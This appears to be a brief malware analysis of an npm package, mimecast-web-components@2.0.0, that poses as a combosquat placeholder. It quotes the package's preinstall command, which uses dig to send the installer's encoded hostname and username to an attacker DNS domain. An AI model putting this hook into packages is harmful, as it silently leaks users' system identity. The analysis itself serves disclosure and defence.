mimecast-web-components@2.0.0

Analysis

mimecast-web-components is a combosquat dummy package whose preinstall hook performs DNS-based host-fingerprint exfiltration: it runs dig +short "$(echo c-$(hostname)-$(whoami) | base32 | tr -d '=' | rev).canary[.]rebind[.]fun[.]offensive[.]work", encoding the victim's hostname and username into a subdomain query to an attacker-controlled DNS endpoint. The index.js is a 5-line dummy stub disguising the package as combosquat prevention. The DNS exfiltration is a recon beacon that leaks installer identity to the attacker's infrastructure.